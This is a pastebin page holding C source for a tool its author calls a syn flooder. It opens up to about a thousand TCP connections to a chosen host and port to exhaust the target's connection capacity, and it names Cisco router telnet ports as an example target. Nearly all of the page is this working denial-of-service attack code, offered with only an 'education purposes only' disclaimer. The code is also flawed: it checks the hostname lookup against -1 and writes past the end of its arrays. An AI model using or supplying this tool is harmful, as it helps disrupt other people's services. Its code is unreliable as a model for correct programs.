Don't like ads? PRO users don't see any ads ;-)
Guest

Syn-DoS-Postix.c

By: a guest on Jul 10th, 2012  |  syntax: C  |  size: 2.18 KB  |  hits: 28  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. /* Fast and simple syn flooder,
  2.  * also known as swiss army wire for smothering :)
  3.  * This tool represents how to make simple DoS attack
  4.  * with simple coded code :)
  5.  *
  6.  * Use this tool for education purposes only!
  7.  *
  8.  * n: Muris Kurgas
  9.  * e: jorganwd [at] gmail [dot] com
  10.  * w: http://www.jorgan.users.cg.yu
  11.  * i: irc.freenode.net \ #remote-exploit \ j0rgan
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <sys/socket.h>
  17. #include <sys/types.h>
  18. #include <netdb.h>
  19. #include <netinet/in.h>
  20. #define mns 1030
  21. /* You may have to change the maximum open sockets (mns) */
  22. #define mnc 50
  23. /* You may have to change this also:
  24.  * Maximum number of tries to connect,
  25.  * very useful if you want to force connecting,
  26.  * for example cisco router on telnet port,
  27.  * which allowes only few :)
  28.  */
  29. int main(int argc, char *argv[]) {
  30.        if(argc < 3) {
  31.                printf("Gimme: %s <host> <port>\n", argv[0]);
  32.                exit(-1);
  33.        }
  34.        int sock[mns];
  35.        int c;
  36.        int i;
  37.        c=0;
  38.        struct sockaddr_in dest[mns];
  39.        struct hostent *host;
  40.        if((host = gethostbyname(argv[1])) == -1) {
  41.                printf("Can't resolve %s! Misspelled address?\n", argv[1]);
  42.                exit(-1);
  43.        }
  44.  
  45.        for(i = 0; i <= mns; i++) {
  46.                if((sock[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  47.                        printf("What happen?! I can't create socket! \n");
  48.                        exit(-1);
  49.                }
  50.  
  51.                dest[i].sin_family = AF_INET;
  52.                dest[i].sin_port = htons(atoi(argv[2]));
  53.                dest[i].sin_addr = *((struct in_addr *)host->h_addr);
  54.                
  55.                if(connect(sock[i], (struct sockaddr *)&dest[i], sizeof(struct sockaddr)) == -1) {
  56.                        printf("I can't connect to %s on port %s! Are you connected? :)\n Trying again in one second! To stop press ctrl+c\n", argv[1], argv[2]);
  57.                        c++;
  58.                        if (c == mnc) {
  59.                        printf("Tired of connecting, try again...\n"); exit (-1);
  60.                        }
  61. }
  62.                printf("Connected No: %d\n", i);
  63.        }
  64.        return(0);
  65. }
  66.  
  67. /* EOF */